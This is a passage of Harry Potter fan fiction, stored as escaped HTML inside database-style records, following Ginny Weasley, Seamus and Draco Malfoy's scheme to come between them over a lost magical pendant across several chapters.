all...&quot;</p>\n\n<p>Realization dawned on Hermione.&quot;But you did like it, didn\'t you... you wanted him to kiss you?&quot;Ginny looked slightly guilty. Hermione sighed.&quot;Just be careful, Gin. Malfoy is dangerous.We don\'t know what he could be thinking.Stay with Seamus.He\'s a nice, cute, safe guy who cares about you... all right?&quot;</p>\n\n<p>Ginny nodded reluctantly. They talked for a bit more before Hermione decided to get back to the common room and asked if Ginny was still going to be in the library.</p>\n\n<p>&quot;Yeah, I\'ve got to finish my essay for Snape still, I\'ll be up soon.&quot;</p>\n\n<p>Hermione nodded and stood up. &quot;I finished mine earlier today, you can use this book I found.It was quite helpful.&quot; She handed Ginny a book that was from &quot;The Complete Squib\'s Guide&quot; series. This one was called &quot;Everything You Never Needed to Know About Tactile Potions&quot;. Ginny accepted it and waved a goodbye to her friend.</p>\n\n<p>She worked hard and finished her essay just as the clock struck nine. She stifled a yawn as she headed to her dorm.Cindy, the girl from the bed to the left of hers, was talking to Linda. They were both sitting on Cindy\'s bed asLinda gestured wildly with her hands in between painting her nails a shocking purple.</p>\n\n<p>&quot;Yeah, he\'s been down all day. Lavender and Parvati think it\'s \'cause he likes someone.I\'ll bet it\'s Lavender... everyone loves Lavender.&quot;</p>\n\n<p>Ginny hadn\'t been listening much before, but now her interest was peaked.They were talking about Harry! She listened closer, trying not to look too obvious by drawing on a small sketch pad.</p>\n\n<p>&quot;Yeah, from what I hear he\'s definitely taken with someone...&quot; Cindy continued. &quot;Hmm... Lavender... or Ginny!She was in love with him...&quot;</p>\n\n<p>&quot;Oh, do you think?No... Harry wouldn\'t. He knows Seamus likes her. Who would it be then? It has to be Lavender!&quot;</p>\n\n<p>&quot;Don\'t you remember?Lavender still likes Seamus. Why would Harry go after someone taken like that?&quot;</p>\n\n<p>\'Lavender still likes Seamus?\' Ginny echoed.\'Seamus doesn\'t still like her, does he?\'</p>\n\n<p>&quot;Does she still like him? I mean, it has been two months...&quot; Cindy always seemed to know everything about everyone. Sometimes she even found out things about people they hadn\'t know themselves.</p>\n\n<p>Ginny rolled her eyes. \'She\'s the Gryffindor 6th year version of Rita Skeeter, this one...\'</p>\n\n<p>&quot;Of course! Don\'t you see the way she looks at him?You can just tell!As for Harry...&quot;</p>\n\n<p>&quot;I... wait... oh my gosh!&quot;Linda leaned over to whisper something in her friend\'s ear.</p>\n\n<p>Cindy giggled. &quot;That\'s brilliant! Of course... oh, she\'ll be ever so pleased when she finds out.I mean, she spends so much time with him that... wouldn\'t she have to?&quot;</p>\n\n<p>Ginny wondered who they could be talking about.Nearly every girl at Hogwarts had had a crush on Harry at some point.Ginny gave up on listening to their pointless gossip and went to brush her teeth.</p>\n\n<p>&nbsp;</p>\n\n<p>When Ginny came back, the girls were still giggling and huddled on Cindy\'s bed.Eventually the two girls went to bed, and Ginny was allowed to attempt sleep. She thought of Harry\'s odd behavior, the stupid gossip, Seamus and her potions essay. Somehow, though, her thoughts drifted back to the moment she\'d shared with Malfoy at the beginning of the morning.</p>\n\n<p>\'Stop it!\' she told herself. \'Why are you even making a big deal out of this? Just forget about it. Forget about the way his lips brushed against your ear as he whispered and sent you tingling, and how his scent drove your senses wild when he hovered over you like that.Forget the warmth of having him near you, and forget anything ever happened.Nothing really happened anyway.Just don\'t think about the way he...\'</p>\n\n<p>Ginny groaned, thumping her head on her pillow. She was going to have to stop thinking so irrationally about such a slimy git. She just had to. \'Tomorrow,\' she told herself, \'tomorrow I\'m going to make a move with Seamus... tomorrow I\'ll kiss Seamus.That\'ll fix everything.\'</p> '),
	(155, 5, ' <p>Chapter Five</p>\n\n<p><i>Earlier that same day&#8230;</i></p>\n\n<p>When Draco woke up, he found his bedroom looking just as it had when he\'d gone to bed the night before.</p>\n\n<p>\'That\'s one of the drawbacks about being a Slytherin,\' he thought, rubbing his eyes and tossing his pillow to the ground. \'Even the prefects don\'t get windows in a dungeon.\' He yawned and picked out his robes for the day.\'Nothing special for today, just a Sunday.\'</p>\n\n<p>He plucked out an outfit typical of the weekend. A grey, V-necked shirt, black slacks held with a silver belt, and his usual cloak.He brushed a wrinkle out of his pants. \'Now that\'s class,\' he thought as he surveyed his attire.</p>\n\n<p>He brushed his hair back with his hand but it fell back into his eyes. The cut was a bit longer in the front than he\'d kept it in the past.His teeth brushed and shoes on, he grabbed his watch off his bed stand and started to head for the door, but turned on his heel before he reached it, remembering something.</p>\n\n<p>Grabbing for his wand, his fingers accidentally caught on a necklace on the little table, its delicate chain breaking. \'Bloody hell! At least the pendant isn\'t broken.\' He snorted at that. \'Not that I could break it if I tried.\' Draco tucked the pendant and chain safely in his pocket.</p>\n\n<p>A thudding knock on the door turned Draco\'s attention from the charm. \'There it is,\' Draco thought sarcastically as he walked to the door.\'The second drawback of being a Slytherin.\'</p>\n\n<p>Goyle was preoccupied with a pumpkin muffin, which he ate messily. &quot;Yes?&quot;Draco inquired, irritated at Goyle\'s ever-present air of stupidity. Goyle looked down at him, confused.Goyle was able to look down at Draco in only the literal way. Draco was by no means short or small;he was a sturdy 6\'1&quot; that had filled out over the years, along with his broad shoulders.Goyle however, was just plain burly &#8211; 4&quot; and stocky.</p>\n\n<p>He was standing in the doorway, licking his fingers from his muffin and grinning stupidly. Draco pushed past him and walked toward the Great Hall for breakfast. &quot;Move on with it, you bloody oaf!I will not be late to breakfast just because you can\'t get your brain to process how to walk. Now, come on!&quot;</p>\n\n<p>Goyle paused for a moment, then followed in Draco\'s footsteps, lugging through the hallway. \'Seriously,\' Draco thought.\'I don\'t know how he\'s made it this far in school being as slow as he is...\' As Draco entered the Great Hall, he scanned the room, seeing the quiet, sleepy Ravenclaws moping about their tables, the Hufflepuffs as bubbly as ever, and the Gryffindors, well... Draco noticed less red hair than last year in their section, since those damned twins, Ford and Gerald or whatever their names were, had left.The unbreakable trio was together, and Ginny, or was it Jenny?No, definitely Ginny. He\'d taken care to remember her name after she\'d dropped her potions book on his foot early last year he thought as a grimace came on his face. She was sitting with that stuck-up prat, Seamus, and his friends. A shift from the norm, Draco noticed.</p>\n\n<p>Draco, before this year, had had nothing but apathy toward Seamus.However, at the first Quidditch match of the year, Seamus\' broom knocked into Draco\'s, just as Draco had caught sight of the snitch.Off-guard, he was hit in the arm by a bludger, nearly falling off his broomstick.Madame Pomfrey had healed most of the damage, but his left arm had been in a cast for a week.</p>\n\n<p>Later, Seamus and his Gryffindor friends had teased Draco about the lost game and his injury, blaming it on carelessness. <i>&quot;Can\'t stay on your feet, Malfoy? Do you need me to carry your books for you?&quot; </i>they badgered. Draco held nothing but contempt for the boy now. Unfortunately he had not yet had a good opportunity to retaliate.</p>\n\n<p>Mentally shrugging the thought far back into his mind, Draco sat at the Slytherin table.Around him sat Pansy, Malcolm Baddock, Crabbe, Goyle, and Millicent. Pansy had been chattering with Millicent over their pancakes and sausage until she saw him and leapt to her feet.</p>\n\n<p>&quot;Oh, Draco!Where have you been? I was so worried you might be sick! There are still pancakes on the table &#8211;&quot; She grabbed a pancake stack and placed three on his plate.&quot;&#8211; and did you want syrup too?&quot; She leaned over again, this time straight across Draco, her chest brushing his arms on the table. She poured him some syrup, smiling at him with what she thought must have been flirtatiousness.</p>\n\n<p>Draco winced and thought, \'I swear, that rat never gives up!\' But he gave her a weak smile anyway. He folded one pancake as much as he could with his fork and shoved the entire thing into his mouth.He glared at Pansy grumpily as she giggled with Millicent.\'Probably about me again,\' he sighed. He had no plans until his studying later that evening, and if this morning was any indication, it was going to be a boring day.</p>\n\n<p>He turned to look at the Gryffindor tables.Ginny was twirling a piece of hair between her fingers, her mind obviously off in space. \'Well that\'s classic...Did that girl ever stay on Earth long?\'He chuckled at his little stab at the Weasley, ignoring the attention it drew from Pansy.Draco turned to his pancakes as not to have Pansy catch him looking at a Gryffindor table. After all, she\'d probably throw a fit or throw herself on him again.When he turned back, he saw Ginny standing beside Seamus, looking rather angry.</p>\n\n<p>&quot;You don\'t mean much of what you say, do you?&quot; Ginny was looking angrily at Seamus, who looked genuinely perplexed. She probably thought she\'d said it softly, but Draco would bet Seamus had heard her loud and clear.In fact, Draco probably wouldn\'t have heard what she said if he hadn\'t been looking at her just a moment before.\'Not that I was looking at her,\' Draco thought. He shook his head at the thought.</p>\n\n<p>He watched her leave the Great Hall; Lavender was holding Seamus from going after her and she still clung to his\' side after Ginny had gone. She talked to him, although Draco couldn\'t hear what she\'d said. Finally she winked at Seamus, waved to Dean, and left for her dorm, the two braids she\'d kept since she was a first year swinging behind her.Seamus started talking to Dean, and Draco lost all interest.</p>\n\n<p>Crabbe and Goyle were still eating, Millicent and Pansy hadn\'t stopped their chattering, and that Malcolm kid was reading through a purple herbology book.Draco thought about Ginny; the way she\'d helped him from under the suit of armor in the hallway days before, the comment he\'d made to her about getting back at her for being in his way.</p>\n\n<p>\'Now\'s a bloody good time too,\' he thought. \'She\'s off outside with no one rushing after her.Now\'s my chance.\' Draco threw on his cloak and was successful in not being caught as he left the building. The morning air outside the castle was a bit colder than Draco expected, but not bitingly so. Draco performed a quick warming charm on his cloak for good measure. He looked out into the distance; Ginny wasn\'t in sight from where he was.She couldn\'t have flown anywhere, as she hadn\'t had a broom with her at breakfast, and she couldn\'t be that far from the castle, since she hadn\'t been that far ahead of him. He decided to circle the castle and look for her that way.</p>\n\n<p>When he finally spotted her, he found her curled in a &quot;hole&quot; in the wall. She looked frustrated already.\'This is going to be easier than I thought!Now if she\'d give me an opening...\' Draco was standing off to the side of the nook, where he could see her but she couldn\'t see him.Then he heard it.</p>\n\n<p>&quot;If Seamus didn\'t have the decency to...&quot;</p>\n\n<p>\'Oh, this is too good... almost too easy,\' he thought.</p>\n\n<p>&quot;... at least pay you for your services?&quot; Draco had shown himself, suddenly appearing before her, his arms folded across his chest, his back leaning casually against the castle wall. She turned to look at him, made a face then stared blankly for a moment.He knew then that he would succeed in pissing her off.He smirked.</p>\n\n<p>&quot;And here I thought it was Seamus who had no decency,&quot;she replied almost arrogantly, and he looked down at her, plotting his next move.</p>\n\n<p>&quot;What\'d he do? Ignore you like everyone else does?&quot; Draco patted himself on the back for that one. The truth always got to people the most. He\'d seen Potter, her brother and Granger ignore her, and now that stupid Irish boy. \'She probably thinks he\'ll fall in love with her, or something stupid like that. It\'s obvious Seamus isn\'t going to stay with her... Anyway, why should I care?Can\'t say I didn\'t warn her.\'</p>\n\n<p>&quot;How would you know, Malfoy? You don\'t know anything about me!&quot; Ginny snapped at him. He looked at her disdainfully.It didn\'t take a genius to realize her situation. Draco had been taught how to control people, to convince people.To have power over a situation, you have to know about the person.</p>\n\n<p>Of course he knew her. It was an automatic response for Draco to learn everything he could about people he had contact with.It wasn\'t his fault he\'d been watching her since the incident in the hallway. He\'d show her what he knew. Draco did his best to say something cutting and ruthless, something that would definitely get to her.</p>\n\n<p>&quot;I know you\'re a poor, good-for-nothing Weasley with that horrid hair all of you have, who obviously isn\'t special enough for even her brothers or her friends to notice her.&quot; His intended, and obviously more common thought after hurting someone &#8211; something along the lines of, &quot;Take that, Weasley!&quot; &#8211; didn\'t come.His mind was blank instead, and he rubbed a small part of his cloak with his thumb and forefinger, a nervous habit. He didn\'t think she\'d seen it, but smirked arrogantly just in case she had.When she didn\'t say anything, he decided to prod her on.</p>\n\n<p>&quot;What? Nothing to say to that, Weasley?&quot; He smirked a bit more. &quot;I guess it just proves &#8211;&quot;</p>\n\n<p>She cut him off, but he didn\'t hear a word she said, just watching her as she yelled at him. It was then that he came upon a great idea. It was quite possibly the best idea he\'d come up with in a long time.\'This day may not be as boring as I thought.\'He slid down next to her, wondering just how much longer she\'d yell at him before she realized just how close they were.</p>\n\n<p>She wasn\'t noticing. He sighed.&quot;Weasley, are you ever going to stop talking?&quot;</p>\n\n<p>He leaned closer to her, now hovering over her.She looked a little flustered now. \'She must have noticed,\' he thought as he observed her blushing and shifting her hands awkwardly.He moved until his lips brushed her in a suggestive and tantalizing manner, speaking to her.&quot;I don\'t think you understand, Weasley.&quot; He slipped his mouth up to her ear and whispered,&quot;I know you very well.&quot;</p>\n\n<p>When she leaned back and closed her eyes, he knew he\'d won. He moved quietly, gracefully to his feet, and was gone before she knew what hit her.</p>\n\n<p>He walked quickly back into the castle and to the Slytherin common room.He sank into a black leather armchair, his arms on the sides and his feet on an ottoman.He smiled, recalling just how well the beginnings of his plan were turning out. \'Now, I\'ll just need more time.\'He grinned at the prospect. \'I\'m sure I\'ll be able to work something out.\'</p>\n\n<p>He rested in the common room, until he heard some rowdy 4th years coming his way. Entering his room, he threw his cloak onto his desk chair. He took out his potions essay, which he needed to finish for tomorrow, his quill and a bottle of expensive ink.Why keep common ink when you can have dark, deep, aristocratic ink?</p>\n\n<p>He wrote for nearly an hour before he finished, signing &quot;Draco Malfoy&quot; at the top in a flowing scrawl. Putting his work away, he reached into his pocket for the necklace, hoping to assess the damage he\'d done to the chain. He felt around for it frantically, but found only the chain. Had it been any regular necklace, or just the chain,he might have just forgotten about it. However, it was definitely not a normal pendant, and he needed to find it fast.</p>\n\n<p>His mind raced. \'Where could it have gone to?\' he thought as he paced through his room.\'Where could it have fallen?\' Suddenly his eyes filled with dread as a horrible thought occurred to him. \'When you leaned over Ginny,\' a voice screamed in his mind. \'Ginny Weasley has an artifact that, if used, could create the worst situation a Malfoy has ever been in. Bloody fantastic!&quot;</p> '),
	(155, 6, ' <p>Chapter Six</p>\n\n<p>Ginny started her day just like every other student in Hogwarts. Mondays were the days where the world swirled in slow motion, and Tuesday just couldn\'t come fast enough. Her clock buzzed at <st1:time hour="5" minute="30">5:30 a.m.</st1:time>, and she knew she had to get up before its automatic sprinkler setting kicked in. Groaning, Ginny got up, took a shower and combed her hair.</p>\n\n<p>Grabbing her wand, she performed a drying charm on it, making it cascade over her shoulders in an almost elegant way. Leaving the wand in her pocket, she put her hair into a braid, tying it with her customary satin ribbon. The color of it varied from day to day, and gave her something different to wear with her identical robes. Today she wore violet.</p>\n\n<p>Ginny put on her standard black flats and pulled anything she could find out of yesterday\'s robe pockets. \'A quill, a galleon, and this...\' Ginny held the pendant in her hand, looking at it. It wasn\'t swirling now, and wasn\'t it purple before? Ginny rubbed the stone, as if hoping to change its color back. Oddly, Ginny\'s touch did change the stone.It resumed its swirling, but remained a deep blue.Surprised, she set it down on her bed stand and went to look for a chain for it.</p>\n\n<p>Unable to find a necklace chain, Ginny took the chain off Bill\'s old pocket watch, which he\'d given Ginny when she\'d left for Hogwarts last year.&quot;Don\'t worry, Bill,&quot; Ginny whispered to the window, as if he would hear her this way.&quot;It\'s only temporary.I just don\'t want to lose it.&quot; Attaching the chain to the belt of her robes, tucked away from sight, Ginny gathered her things and left for breakfast.</p>\n\n<p>The current breakfast seating had become typical.Ginny sat with Seamus, Dean and Lavender, half listening to the conversation while buttering her toast.Ginny felt two pairs of eyes on her &#8211; Lavender\'s jealous and Malfoy\'s anxious.However, Ginny didn\'t want anything to do with either of them today.If Ginny was going to execute her plan, she didn\'t want Lavender butting in or Malfoy distracting her. Today was about Seamus.</p>\n\n<p>Ginny ate breakfast as usual, and ran to catch Seamus walking with Dean on their way to their first class. She tapped Seamus on the shoulder, and he turned to face her. &quot;Did you want to meet me after my Herbology class for lunch?&quot; she asked. &quot;We could eat in the common room instead of the hall.&quot;</p>\n\n<p>He smiled. &quot;Sure, we could do that. Your class ends after my Arithmancy class, doesn\'t it?&quot;</p>\n\n<p>&quot;Yeah.&quot;</p>\n\n<p>&quot;All right, I\'ll just make sure I get out on time today!&quot; Seamus grinned at her and went back to talking with Dean about some Quidditch team.</p>\n\n<p>Ginny hugged her books to her chest and nearly skipped down the hall.\'Good,\' she smiled.\'The date\'s settled, and I don\'t really need to worry about Lavender getting in the way since he\'s meeting me at my class instead of me at his.\'</p>\n\n<p>Soon reaching the greenhouse, Ginny took her seat and reached in her bag for a quill. Finding one, she held it between her teeth while she ran her fingers through her hair and smiled in satisfaction. \'Nothing can go wrong,\' she thought.</p>\n\n<p>Draco didn\'t know what to do when Ginny left the breakfast hall this morning.He\'d tried to catch her, but she\'d been at the side of that Irish kid again, grinning at him like an idiot. Draco ran his fingers through his hair in frustration. Draco was sure if he tried to approach her while she was with that bloke, he\'d never get a word with her.</p>\n\n<p>Draco looked at his watch and swore to himself. He didn\'t have much time left to get to Charms. Draco raced down the hallways, trying to make it to the flying staircase upstairs from the ground floor before it left.Jumping over a gap to the staircase, which would have left Draco in lots of pain if he\'d missed his mark, he caught it, but still arrived late to his class.</p>\n\n<p>&quot;... and you need to accent your N\'s more, Mr. Zabini. Ah, Mr. Malfoy, decided to make it to my class today, have you?&quot; Professor Flitwick tapped his wand on his hand impatiently. Draco looked down at him impassively. &quot;Sixth time this term,&quot; Flitwick continued as he scuttled to close the door.</p>\n\n<p>He summoned a piece of paper from his desk, and, with a wave of his wand, a check mark appeared next to Draco\'s name. The paper returned to the professor\'s desk. Flitwick spoke, his squeaky voice taking its most scolding tone, which wasn\'t really very intimidating.He did, however, look disappointed.</p>\n\n<p>&quot;I\'m going to have to require another detention from you, Mr. Malfoy.&quot;Flitwick didn\'t like punishing people any more than Hagrid did. &quot;Perhaps some more time helping Madam Pince will convince you to be more punctual? Should you be late again, we will have to come up with a more suitable punishment.&quot; Flitwick noticed Draco\'s dwindling attention.&quot;Don\'t you agree, Mr. Malfoy?&quot; Flitwick looked up at Draco, his hands on his hips, frowning at him while Draco stifled a laugh. Flitwick was just so funny when he was mad.</p>\n\n<p>Finally Draco shrugged, taking his seat. Taking one last look at him, Flitwick uttered a quick &quot;See me after class,&quot; and returned to teaching.</p>\n\n<p>Draco paid a bit of attention, finding this lesson particularly interesting, but mostly focused on a plan to saving himself and getting that amulet back. He didn\'t know Weasley\'s schedule, he realized. He wouldn\'t have even known where she would be next, today, had he not overheard her talking about Herbology earlier.</p>\n\n<p>Draco realized he didn\'t have a game plan for how he\'d be getting the amulet back.He could just ask for it, but then Ginny would ask questions.Any other way, however, might take too much time, and if she put it on... oh, Draco didn\'t even want to think about what could happen.When Charms ended, Draco arranged his detention, and set off to find Ginny.</p>\n\n<p>Ginny glowed.She\'d scored well on her Herbology exam, she hadn\'t been forced to sit next to Patrick, the only 6th year Gryffindor who still hadn\'t learned where the shower was, and she was going to meet Seamus in only a few minutes.Ginny held her books slung low in her arms, standing outside the greenhouse door.She rocked back and forth, watching in the direction Seamus would be coming.Feeling a tap on her back, Ginny turned around quickly to give Seamus a bright smile.</p>\n\n<p>&quot;Seamus!I\'m so glad you &#8211;&quot;</p>\n\n<p>Ginny\'s voice halted quickly from its chattering pace to a dead stop. Seamus did not have silvery blond hair. Leaning against the greenhouse, Draco was at Ginny\'s right, one hand in his pocket, the other hidden by his cloak.&quot;I\'m really glad to see you too, Weasley,&quot;he said, smirking knowingly at her.</p>\n\n<p>&quot;Malfoy! What do you want? I\'m busy. Seamus is going to meet me soon and &#8211;&quot;</p>\n\n<p>&quot;I don\'t know about that, Weasley. Lavender Brown and that black guy he\'s always with were heading down to lunch a few minutes ago. I don\'t think they\'re planning on meeting you any time soon.&quot;</p>\n\n<p>Ginny looked downcast for a moment, but her face hardened just as quickly. &quot;Seamus is coming to meet me.He said he would. There\'s no reason I should trust a word you say.&quot; She crossed her arms, sat on one of the greenhouse benches, and stared determinedly at the castle entrance.</p>\n\n<p>Draco sat next to her, stretching out on the bench leisurely. He tried to contain a smirk. &quot;I\'m sorry to say it, Weasley, but I really don\'t think he\'s coming.&quot;</p>\n\n<p>&quot;And just why would you be sorry if he stood me up?Don\'t you get some malicious pleasure out of things like this happening to people like me?&quot;</p>\n\n<p>&quot;Sometimes.This actually is quite amusing.&quot;</p>\n\n<p>Ginny left her books on the bench and stood up to face him, her hands on her hips. &quot;You really are a prat!You\'re right, and I\'m wrong. Is that what you want to hear, Malfoy? Would that make you happy?!&quot;</p>\n\n<p>Draco lost his smirk and looked a bit tired, a bit stern. He hunched forward, his arms laying casually over his lap, his wrists on his knees.Draco said nothing and just watched Ginny with calculating eyes. Ginny studied him for a moment, then asked, &quot;Why are you here, Malfoy?&quot;</p>\n\n<p>&quot;Why do you think I\'m here?&quot;</p>\n\n<p>&quot;I\'m not going to play stupid games with you, Malfoy.I don\'t have time for this!&quot;Ginny turned to leave but was stopped by a firm hand on her arm.She was turned by the force of his hand, ending up against his chest. She had put her hands up to push him away, but now Ginny found herself unable to move them from him. She cursed herself and looked up at him, still shocked by her reaction.</p>\n\n<p>Draco tilted his head down to look at her. &quot;Weasley...&quot;</p>\n\n<p>Ginny hoped she didn\'t looked as dazed as she felt, and though her mind yelled at her to push him away and storm off, her hands still rested on his shirt. Disgusted with herself, she snapped out of her reverie.</p>\n\n<p>&quot;What?&quot; she asked, sounding obviously annoyed. She pushed her hands harshly from his chest, glaring at him. Her head tilted upwards, waiting for his response.</p>\n\n<p>Draco realized he\'d lose her interest rather soon if he didn\'t cut to the chase. &quot;I think you have something of mine.&quot;</p>\n\n<p>She looked skeptically at him, confused. Draco grinned to himself. \'She obviously didn\'t expect that,\' he thought.</p>\n\n<p>&quot;A pendant from a necklace. It\'s purple.I\'d like it back.&quot;</p>\n\n<p>&quot;A pendant?Is that what this is all about?&quot; She backed away and started walking towards the castle, calling out to him, &quot;Well, I\'m sorry, Mr. Malfoy, but I don\'t have a purple pendant &#8211;&quot; She reached inside her cloak and pulled out the pendant with a triumphant smile. She held it up so he could see it.&quot;&#8211; I have a blue one!&quot;</p>\n\n<p>Draco scowled. &quot;Damn it!&quot; He paced in front of the greenhouse. His plan was only partially succeeding, and he still didn\'t have the pendant.Draco had promised himself he\'d keep Ginny from Seamus. That was his payback for Seamus\' stunt last year. No, his plan wasn\'t to date Ginny, just to make her fall for him enough to dump Seamus.</p>\n\n<p>&nbsp;</p>\n\n<p>Today Ginny had looked all flustered, and he\'d thought he might be getting to her, but there she went, getting angry at him again.Draco wasn\'t going to get anywhere with her if she kept running off like that. He\'d need to plan a way to see her more often if he was going to have any effect on her.</p>\n\n<p>\'I\'m sure I\'ll think of something.\' And then there was the issue of the pendant. She had it, and now she was probably going to keep it to spite him.Even worse, it was activated.If it had changed from purple to blue in only a day, he didn\'t have time to waste before it ended up white.</p>\n\n<p>\'I don\'t know how long the change would take, but I\'m not ready to find out any time soon.\' He had to see her again. With that thought, he went back to the castle.</p>\n\n<p>Ginny stormed through the hallway.She was furious, but she couldn\'t pinpoint exactly why. \'That manipulative rat!\' Ginny tucked the pendant back into her robes.\'I can\'t believe I fell for something like that again! Well, he\'s not getting this thing back if my life depends on it! Anyone who tries to &#8211;\' She searched for a word that would justify how much of an ass he was&#8211; \'seduce me into giving them something they want is not going to get it.Yes, Malfoy has definitely picked the wrong girl to coerce today.I\'ll bet he even sent Seamus off somewhere, and that\'s why he didn\'t come. I\'ll just bet...\'</p>\n\n<p>Suddenly, Ginny was pulled from her thoughts. &quot;Seamus!&quot; She ran to hug him when she spotted him in the hallway.</p>\n\n<p>Seamus turned from talking to Dean and Lavender, taken off guard as Ginny threw her arms around his neck. She hadn\'t done this before! &quot;Ginny?&quot;</p>\n\n<p>Ginny\'s eyes lighted in adoration and forgiveness. &quot;Oh, Seamus, I was so upset when you didn\'t come, but I completely understand now!&quot; She hugged his neck tightly.</p>\n\n<p>&quot;You do?&quot; Seamus was confused and amazed.</p>\n\n<p>&quot;Yes, I do, and I know it\'s not your fault &#8211;&quot;</p>\n\n<p>Seamus was even more surprised. &quot;It isn\'t?&quot;</p>\n\n<p>She looked up at him with the most forgiving face he\'d ever seen. &quot;No, and I\'m not going to let Malfoy come between us. All right?&quot;</p>\n\n<p>He raised an eyebrow. &quot;Malfoy?&quot; Seamus looked almost as confused as he had during this morning\'s Arithmancy lesson.&quot;Ginny?&quot; he said, hoping it might clarify her reaction.</p>\n\n<p>She beamed at him, feeling a sudden surge of courage. She stood on her toes, tilted her head and kissed him.Seamus never lost his look of surprise, and he didn\'t even think to move his lips for the first couple seconds.</p>\n\n<p>It was short, chaste, and unemotional.Seamus was happy, yet shocked. Ginny had never been the type of girl to make a move like that, nor was she normally inclined to take being stood up as well as she had. Seamus took her arms off his neck and said goodbye, walking with Dean and Lavender to his next class.</p>\n\n<p>Ginny had assumed kissing Seamus would be special. Surely, it hadn\'t been Seamus\' fault he\'d stood her up, and he must have just been surprised when she kissed him. He\'d shown that he liked her, so that couldn\'t have been why it wasn\'t as wonderful as she\'d dreamed. Ginny sighed and walked to her next class.</p> '),
	(155, 7, ' <p>Chapter Seven</p>\n\n<p>People had always thought of Draco as the plotting, conniving sort. Today he planned to live up to his image.He looked at his watch and he walked leisurely to Charms. Sure, he was two minutes late, but that was part of the plan. Draco could be punctual, very punctual, if he so desired. Watching the minutes tick by on his watch, it was obvious that today he had no desire to be on time.</p>\n\n<p>When Draco finally reached the door to the Charms classroom, he had wasted at least six minutes more minutes than usual getting there.He paused outside the door. Bracing his ears for the imminent assault of Flitwick\'s squeaky voice, he turned the knob.</p>\n\n<p>Draco noticed the students in the classroom were paying little attention to Flitwick\'s lecture. The girls were passing notes or absentmindedly doodling hearts on their homework, and the boys stared bleakly at the clock, awaiting the end of class in a sleep-like trance. Flitwick was at the opposite end of the room from Draco, and might not have noticed his entrance were it not for Pansy, who squealed his name the second she noticed him.</p>\n\n<p>Flitwick turned around, catching Draco just as he found his seat. Flitwick flicked his wand at Draco\'s chair.&quot;Wingardium Leviosa!&quot;</p>\n\n<p>Draco\'s chair rose quickly into the air, and he grabbed at the seat quickly so he wouldn\'t fall.Luckily, being a Seeker gave Draco impeccable reaction time.</p>\n\n<p>&quot;What do you expect me to do with you, Mr. Malfoy?I can\'t just let you walk in late every day as if you were on a private pass system!&quot; Flitwick shook his hands furiously in gesture.Pansy shrieked and covered her mouth. Flitwick whirled around, throwing up his hands in exasperation. &quot;Do you have something to say Ms. Parkinson?!&quot;</p>\n\n<p>Pansy gulped and pointed at Draco. Flitwick looked up.&quot;Oh my!&quot; he gasped. Draco was holding onto the chair by the seat, his body dangling dangerously in the air. With every wave of his hand, Flitwick was shaking Draco off the levitated chair.</p>\n\n<p>Flitwick lowered the chair until Draco was able to stand on Pansy\'s desk, and from there jump to the floor.</p>\n\n<p>&quot;Oh, Draco! Are you alright?!&quot; Pansy threw her arms around Draco\'s neck, burying her head in his neck. &quot;I was so worried about you!&quot;</p>\n\n<p>Draco shrugged out of her arms, rolling his eyes.He grabbed his chair from the spot it still hung in the air and set it down next to his table, sitting downas Flitwick gathered his wits again.</p>\n\n<p>&quot;Mr. Malfoy, you know I\'ll have to have you serve a new detention in addition to the one you owe me... three days worth now, isn\'t it?&quot;Flitwick nodded to himself. &quot;Seven-o-clock, with Madam Pince in the library.Don\'t be late, Mr. Malfoy.&quot;</p>\n\n<p>Draco made a mental note and grinned to himself.Now all he had to do was talk to Snape.</p>\n\n<p>Ginny walked to Potions.The excitement and anticipation of the kiss a few days before was over, and since it was such a less-than-spectacular experience, Ginny was still feeling a bit gloomy. She shook her head. \'This is what I need to cheer me up, a nice long class with Snape.\'</p>\n\n<p>She pushed open the door and trudged to her seat. As she begun unpacking her things, Colin burst into the room.</p>\n\n<p>&quot;Ginny! Ginny!&quot;</p>\n\n<p>She turned her head and gave him a smile.&quot;Yeah, Colin?&quot;</p>\n\n<p>&quot;Did you remember the crushed horn beetle for the lab today?&quot;</p>\n\n<p>Ginny slapped her hand on the table.&quot;Darn it! I knew I\'d forgotten something!Snape will have my head for this! Do you have any left from last time?&quot;</p>\n\n<p>Colin searched his bag and pulled out a small glass bottle with a cork stopper, shaking it.&quot;A little, but I\'m not sure how well it\'ll work.It\'s from last month.&quot;</p>\n\n<p>Ginny took the bottle from Colin and held it up to the light, tilting it this way and that, looking for impurities.&quot;It looks okay, and we really have no other choice but to use it.&quot;She set the bottle on the table and pulled out the rest of their materials for the day\'s lab.</p>\n\n<p>Professor Snape walked in front of the class slowly, with his hands folded behind his back. Reaching the front of the room, he picked up a few small glass vials filled with a dark purplish liquid. Walking around the classroom to each desk, he distributed a vial to each lab pairing, instructing as he did so.</p>\n\n<p>&quot;Each lab group is receiving a small amount of Erkling blood. You will not touch this fluid until it is to be added to the potion, and at that time, it must not remain in contact with air at any time.It will not work if it is oxygenated.&quot;He continued to explain how to add the Erkling blood while submerged in the potion as to not expose it to air and lectured for another twenty minutes on the importance of the fresh crushed horn beetle everyone was supposed to collect the night before as homework.</p>\n\n<p>Ginny shot Colin a worried glance as Snape said this. Still, she decided, a little bit of possibly expired ingredient was better than the wrath of Snape. She followed the lab procedure from her manual, occasionally looking at Colin to make sure he was preparing the hydra root correctly. Finally, she finished the first portion of the lab.</p>\n\n<p>Colin added the shredded root and veela hair, stirring carefully. While adding pinches and sprinkles of colourful powders from various bottles, Ginny thought of Seamus.She had been avoiding him for the past few days.\'What am I going to do?I made my self look like a complete idiot by kissing him and now everyone\'s going to think I\'m a desperate little girl again. Just when I\'d gotten over Harry, just when Seamus was starting to like me, and just when I had a chance, I blew it. Now I\'m in trouble&#8230;\'</p>\n\n<p>&quot;You\'re in a great deal of trouble, Miss Weasley.&quot; Snape hovered over Ginny and Colin\'s cauldron.He looked disgustedly at the bubbling green mass inside it.&quot;Do you have any idea what you are doing?&quot;</p>\n\n<p>Ginny was scared and confused. &quot;Sir, I &#8211;&quot;</p>\n\n<p>&quot;Miss Weasley, do you know what this is?&quot; Snape pulled an entire Hydra root out of Ginny and Colin\'s potion.</p>\n\n<p>Ginny looked at Colin with horror.&quot;It\'s a Hydra root, sir.&quot;</p>\n\n<p>Snape glared menacingly at her. &quot;Did you not know, Miss Weasley, that the Hydra root must be prepared properly in order to have the desired effect in your potion?&quot;</p>\n\n<p>&quot;I knew, sir, but &#8211;&quot;</p>\n\n<p>&quot;And did you not read the procedure for this particular lab?&quot;</p>\n\n<p>&quot;I read it, sir, but &#8211;&quot;</p>\n\n<p>&quot;If you read it, you would know the Hydra root must be shredded finely before 